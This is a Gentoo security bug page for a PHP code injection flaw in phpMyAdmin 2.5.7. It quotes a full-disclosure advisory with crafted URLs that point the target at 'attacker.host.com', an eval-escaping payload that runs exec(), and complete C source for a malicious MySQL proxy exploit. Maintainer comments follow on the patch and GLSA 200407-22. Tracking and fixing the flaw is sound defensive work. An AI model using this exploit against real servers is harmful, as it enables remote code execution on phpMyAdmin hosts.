Gentoo Websites Logo
Go to: Gentoo Home Documentation Forums Lists Bugs Planet Store Wiki Get Gentoo!
Bug 57890 - dev-db/phpmyadmin php codes injection in version 2.5.7
Summary: dev-db/phpmyadmin php codes injection in version 2.5.7
Status: RESOLVED FIXED
Alias: None
Product: Gentoo Security
Classification: Unclassified
Component: Vulnerabilities (show other bugs)
Hardware: All Linux
: Highest major (vote)
Assignee: Gentoo Security
URL: http://www.securityfocus.com/archive/...
Whiteboard: B1 [glsa]
Keywords:
Depends on:
Blocks:
 
Reported: 2004-07-21 12:59 UTC by Martin Holzer (RETIRED)
Modified: 2011-10-30 22:40 UTC (History)
3 users (show)

See Also:
Package list:
Runtime testing required: ---


Attachments

Note You need to log in before you can comment on or make changes to this bug.
Description Martin Holzer (RETIRED) gentoo-dev 2004-07-21 12:59:29 UTC
Software           : phpMyAdmin 
Version         : 2.5.7 
Vulnerability     : php codes injection 
Problem-Type   : remote user 
phpMyAdmin is web-based mysql administration written 
in PHP. 
 
There is a vulnerability in phpMyAdmin version 2.5.7. 
This vulnerability would allow remote user to inject  
php codes 
to be executed by eval() function (in file left.php). 
However, This vulnerability only effect if variable 
$cfg['LeftFrameLight'] 
set to    FALSE (in file config.inc.php) 
 
1. Bugs 
 
The Bugs are  phpMyAdmin  do not prevent any user 
from 
 
1.a. Ability to grow up array variables by way of GET 
params 
 
PhpMyAdmin has multiple servers configuration stored 
in array variables ($cfg['Servers'][$i]). They  are 
coded in file 
config.inc.php. 
They are  usually set at instalation time by owner. 
Each configuration contains mysql server information 
to be used 
by phpMyAdmin  as host, port, user, password, 
authentication type, database 
name etc of mysql server. 
Up to three servers configuration is provided by 
default. 
 
However, Uninitialized $cfg['Servers'][$i]  allows 
remote user to add server 
configuration to the list of servers configuration by 
growing up 
$cfg['Servers'][$i] array through GET  parameters. 
 
Remote user could add server configuration like this 
http://target/phpMyAdmin-2.5.7/left.php?server=4&cfg[Servers]
[4] 
[host]=202.81.x.x&cfg[Servers][4]
[port]=8888&cfg[Servers][4][user]=alice .. 
and so forth. 
The running script will use the fourth server 
configuration which remote user 
supply. 
 
1.b. Escape 'magic' quote (') oops 
 
if variable $cfg['LeftFrameLight'] set to FALSE, this 
part of codes is 
executed. 
 
$eval_string = '$tablestack[\'' . implode('\'][\'', 
$_table) . '\'] 
[\'pma_name\'][] = \'' . str_replace('\'', '\\\'', 
$table) . '\';'; 
eval($eval_string); 
 
$eval_string  will be php codes that executed by 
function eval(). 
if we have one table  named 'mytable', $eval_string 
will have  string value 
$tablestack['']['pma_name'][] = 'mytable'; 
 
phpMyAdmin is improper to handle escaping single 
quote. 
So that  with crafted table name with its name 
contains meta-chars like this 
                 \';exec(\"touch /tmp/touchable\");/* 
$eval_string will  have  value 
$tablestack['']['pma_name'][] = 
'\\';exec("touch /tmp/touchable");/*'; 
 
In php language, It will interpret the string as  
three  php statements. The 
second statement will be  our exploite codes. The 
last statement without 
trailing comment just give a  warning  message in 
php. 
 
2. Exploite 
 
Since mysql does not allow table name contain 
meta-chars, we have to provide 
 a wrapper of mysql server. The wrapper acts like a 
proxy except that it will 
 sends a fake table name, when client request a "SHOW 
TABLES" query, by 
 replacing the real table name with a string contains 
exploite codes. 
 
http://target/phpMyAdmin-2.5.7/left.php?server=4&cfg[Servers]
[4] 
[host]=attacker.host.com&cfg[Servers][4]
[port]=8889&cfg[Servers][4] 
[auth_type]=config&cfg[Servers][4]
[user]=user&cfg[Servers][4] 
[password]=pass&cfg[Servers][4]
[connect_type]=tcp&&cfg[Servers][4] 
[only_db]=databasename 
 
In attacker.host.com  mysql wrapper will listen  in 
port 8889 waiting for 
connection. 
 
3. Proof of Concept 
 
The exploite code, mysql wrapper written in c, can be 
founded in attachment 
or from 
http://eagle.kecapi.com/sec/codes/phpmy-explt.c 
 
4. Purpose 
This full disclosure is intended to be educational 
purpose. 
 
Regards, 
 
Nasir Simbolon 
http://eagle.kecapi.com 
-- 
timor Domini 
 
------------------------------------------------------- 
 
 
phpmy-explt.c 
 
 
/*     
 * phpmy-explt.c   
 * written by Nasir Simbolon <nasir kecapi com> 
 * http://eagle.kecapi.com 
 * Jakarta, Indonesia 
 *  
 * June, 10 2004  
 *  
 * A phpMyAdmin-2.5.7 exploite program. 
 * This is a kind of   mysql server wrapper  acts 
like a proxy except that it will sends a fake table 
name, 
 * when client query "SHOW TABLES",  by replacing the 
real table name with a string contains exploite 
codes. 
 * 
 * Compile : gcc phpmy-explt.c -o phpmy-explt 
 * 
 * run with 
 * ./phpmy-explt 
 * 
 * and go to your target and put  
 * 
 * 
http://target/phpMyAdmin-2.5.7/left.php?server=4&cfg[Servers]
[4][host]=attacker.host.com&cfg[Servers][4]
[port]=8889&cfg[Servers][4]
[auth_type]=config&cfg[Servers][4]
[user]=user&cfg[Servers][4]
[password]=pass&cfg[Servers][4]
[connect_type]=tcp&&cfg[Servers][4]
[only_db]=databasename 
 * 
 * fill host,port,user,pass and databasename 
correctly 
 * 
 */ 
 
 
#include<stdio.h> 
#include<sys/socket.h> 
#include<netdb.h> 
 
#define BIND_PORT 8889 
#define MYSQL_PORT 3306 
#define HOSTNAME "localhost" 
#define DATABASE "phpmy" 
 
 
#define BUFFER_LEN 1024 
 
/* This is php code we want to inject into phpMyAdmin  
   Do NOT use  single quote (') in the string, use 
double quote (") instead 
*/ 
char *phpcodes = 
"exec(\"touch /tmp/your-phpmyadmin-is-vulnerable\");"; 
 
 
  /* This is examples codes I captured when mysql 
server 
     reply to client's request of query "SHOW TABLES" 
query. 
     It shows  database  name 'phpmy' and contain one 
tablename  'mytable' 
     Our aim is to manipulate the data received from 
mysql server 
     by replacing 'mytable' with our exploide codes. 
      
     0x1 ,0x0 ,0x0 ,0x1 ,0x1 ,0x1b,0x0 ,0x0 ,0x2 ,0x0 , 
     0xf ,'T' ,'a' ,'b' ,'l' ,'e' ,'s' ,'_' ,'i' ,'n' , 
     '_' ,'p' ,'h' ,'p' ,'m' ,'y' ,0x3 ,0x40,0x0 ,0x0 , 
     0x1 ,-2  ,0x3 ,0x1 ,0x0 ,0x1f,0x1 ,0x0 ,0x0 ,0x3 , 
     -2  ,8  ,0x0 ,0x0 ,0x4 ,7   ,'m' ,'y' ,'t' ,'a' , 
     'b' ,'l' ,'e' ,0x1 ,0   ,0   ,0x5 ,-2 
  */ 
 
 
int build_exploite_code(char* dbname,char* 
phpcodes,char** expcode) 
{        
   char my1[21] = 
{0x1 ,0x0 ,0x0 ,0x1 ,0x1 ,0x1b,0x0 ,0x0 ,0x2 ,0x0 , 
                   0xf ,'T' ,'a' ,'b' ,'l' ,'e' ,'s' ,'_' ,'i' ,'n' , 
                   '_'};  
   /* part of dbname     ('p' ,'h' ,'p' ,'m' ,'y') */ 
   char my2[15] = 
{0x3 ,0x40,0x0 ,0x0 ,0x1 ,-2  ,0x3 ,0x1 ,0x0 ,0x1f, 
                   0x1 ,0x0 ,0x0 ,0x3 ,-2};   
   /* part of int phpcodes string length +1   (8) */  
   char my3[3]  = {0x0 ,0x0 ,0x4}; 
   /* part of int phpcodes string length      (7) */  
   /* part of tablename    
('m' ,'y' ,'t' ,'a' ,'b' ,'l' ,'e' ) */ 
   char my4[5]  = {0x1 ,0   ,0   ,0x5 ,-2}; 
         
   int len,i; 
 
   len = 21 + strlen(dbname) + 15 + 1 + 3 + 1 +  
strlen(phpcodes) + 5 + 5; 
   *expcode = (char*) malloc(sizeof(char) * len);  
    
   i = 0; 
   bcopy(&my1[0],*expcode + i,21); 
   i += 21; 
   bcopy(dbname, *expcode + i,strlen(dbname)); 
   i += strlen(dbname); 
   bcopy(&my2[0],*expcode + i,15); 
   i += 15; 
   (*expcode)[i] = 5 + strlen(phpcodes) + 1; 
   i ++; 
   bcopy(&my3[0],*expcode + i,3); 
   i += 3;   
   (*expcode)[i++] = 5 + strlen(phpcodes) ; 
   /* this is our exploite codes*/ 
   (*expcode)[i++] = '\\';  
   (*expcode)[i++] = '\'';  
   (*expcode)[i++] = ';';  
   bcopy(phpcodes,*expcode + i,strlen(phpcodes)); 
   i += strlen(phpcodes); 
   (*expcode)[i++] = '/';  
   (*expcode)[i++] = '*';  
   bcopy(&my4[0],*expcode + i,5); 
    
   return len; 
} 
 
/* connect to mysql server*/ 
 
int connect_mysql() 
{ 
    int s2; 
    struct sockaddr_in ina; 
    struct hostent *h; 
     
    h = gethostbyname(HOSTNAME); 
    /* set internet address */ 
    bcopy(h->h_addr,(void 
*)&ina.sin_addr,h->h_length); 
    ina.sin_family = AF_INET; 
    ina.sin_port = htons(MYSQL_PORT); 
    //ina.sin_zero[0]='\0'; 
    if((s2=socket(AF_INET,SOCK_STREAM,0)) < 0)  
        perror("Socket: "); 
     
    if(connect(s2,(struct sockaddr 
*)&ina,sizeof(ina)) < 0 ) 
                           perror("connect()"); 
    return s2; 
} 
 
/* listener */ 
int listener() 
{ 
    int s1; 
    int opt; 
    struct sockaddr_in ina; 
 
    /* set internet address */ 
    ina.sin_family = AF_INET; 
    ina.sin_port = htons(BIND_PORT); 
    ina.sin_addr.s_addr = INADDR_ANY; 
 
    if((s1=socket(AF_INET,SOCK_STREAM,0)) < 0)  
        perror("Socket: "); 
     
    opt = 1; 
    setsockopt(s1,SOL_SOCKET, SO_REUSEADDR , (char 
*)&opt, sizeof(opt) ); 
        
    if(bind(s1,(struct sockaddr 
*)&ina,sizeof(ina))==-1)  
        perror("Bind: "); 
         
    if(listen(s1, 10) == -1)  
        perror("Listen");  
         
   return s1; 
} 
 
 
int main(int argc,char* argv[]) 
{ 
        struct sockaddr_in ina1; 
        int ina1_l; 
        int s_daemon,s_mysql; 
        size_t byte_read,byte_written; 
        char *buf; 
        int sc,event,n_select; 
        fd_set rfds; 
        struct timeval tv;        
        int exptlen,i; 
        char *expt; 
        char *dbname=DATABASE; 
         
        buf = (char*) malloc(sizeof(char) * 
(BUFFER_LEN)); 
        tv.tv_sec  = 15; 
        tv.tv_usec = 0; 
         
        /* we listen to port */ 
         s_daemon = listener(); 
     
        exptlen = 
build_exploite_code(dbname,phpcodes,&expt); 
 
        for(;;)  
        { 
           fprintf(stderr,"waiting for 
connection\n"); 
            
           if( -1 == (sc = accept(s_daemon,(struct 
sockaddr *) &ina1,&ina1_l)) )  
                  perror("accept()"); 
           /* if we get here, we have a new 
connection */ 
           fprintf(stderr,"got client connection\n"); 
mysql: 
           /* connect to mysql */ 
           s_mysql = connect_mysql(); 
         
           for(;;)  
            { 
                FD_ZERO(&rfds); 
                FD_SET(sc,&rfds); 
                FD_SET(s_mysql,&rfds);                                 
                 
                n_select = (sc > s_mysql)? sc : 
s_mysql; 
 
                event = 
select(n_select+1,&rfds,NULL,NULL,NULL); 
                if(-1  == event)  
                    perror("select()"); 
                else  
                {        
                    if(FD_ISSET(s_mysql,&rfds))  
                     { 
                        byte_read = 
read(s_mysql,buf,BUFFER_LEN); 
                        /* check for closing client 
connection*/ 
                        if(byte_read == 0)  
                        { 
                           shutdown(s_mysql,SHUT_RDWR); 
                           close(s_mysql); 
                           goto mysql; 
                        } 
 
                         /* check data received from 
mysql server. 
                          * if  buf[11] contain 'T', 
data received from   mysq server is table list 
                          * 
                          * NOW we replace the table 
with our exploite codes and send them to client 
                          */ 
                        if( 'T' == buf[11]) 
                        { 
                           for(i=0;i<exptlen;i++)  
                              buf[i] = expt[i]; 
                           byte_read = exptlen; 
                        } 
                        
                        if(write(sc, buf, byte_read) 
< 0) 
                           break;  
                     } 
                    
                     if(FD_ISSET(sc,&rfds))  
                     {   
                         byte_read = 
read(sc,buf,BUFFER_LEN); 
                         /* check for closing client 
connection*/ 
                         if(byte_read == 0)  
                         {       
                            close(sc);     
                            break; 
                         } 
 
                       if(write(s_mysql,buf,byte_read) 
< 0)  
                               break;        
                     }     
#if defined(DEBUG)                    
                     fprintf(stderr,"data:\n");  
                     for(i=0;i<byte_read;i++)  
                             fprintf(stderr," %c(%x) 
",buf[i],buf[i]); 
#endif     
                }    
 
            }  
        } 
        free(buf); 
        free(expt); 
        return 0; 
}         
        


Reproducible: Always
Steps to Reproduce:
Comment 1 Martin Holzer (RETIRED) gentoo-dev 2004-07-21 13:01:26 UTC
ebuild is already in cvs

TODO: mark stable and send out GLSA
Comment 2 Tom Payne (RETIRED) gentoo-dev 2004-07-21 14:20:12 UTC
Stable on x86 (two weeks in ~x86, minor changes since 2.5.6).
Comment 3 Jason Wever (RETIRED) gentoo-dev 2004-07-21 19:19:34 UTC
Stable on sparc.
Comment 4 Thierry Carrez (RETIRED) gentoo-dev 2004-07-22 02:30:14 UTC
We already saw this in bugs 55606 and 56048, both closed because default conf shipped with Gentoo is not vulnerable.

Since users changing their configurations are vulnerable, I think it was a mistake to close them and we will issue a GLSA for this one.

Waiting for alpha, amd64, ppc and hppa to mark stable.
Removing mips and x86 as they are already done (x86) or have nothing to do about this (mips).
Comment 5 Bryan Østergaard (RETIRED) gentoo-dev 2004-07-23 13:01:13 UTC
Stable on alpha.
Comment 6 Guy Martin (RETIRED) gentoo-dev 2004-07-23 13:37:46 UTC
Stable on hppa.
Comment 7 Thierry Carrez (RETIRED) gentoo-dev 2004-07-26 01:42:06 UTC
amd64, ppc : please mark stable so that the GLSA can go out.
Comment 8 Jason Huebel (RETIRED) gentoo-dev 2004-07-27 09:39:33 UTC
2.5.7_p1 stable on amd64
Comment 9 Pieter Van den Abeele (RETIRED) gentoo-dev 2004-07-29 06:10:20 UTC
fixed on ppc
Comment 10 Thierry Carrez (RETIRED) gentoo-dev 2004-07-29 13:32:32 UTC
GLSA 200407-22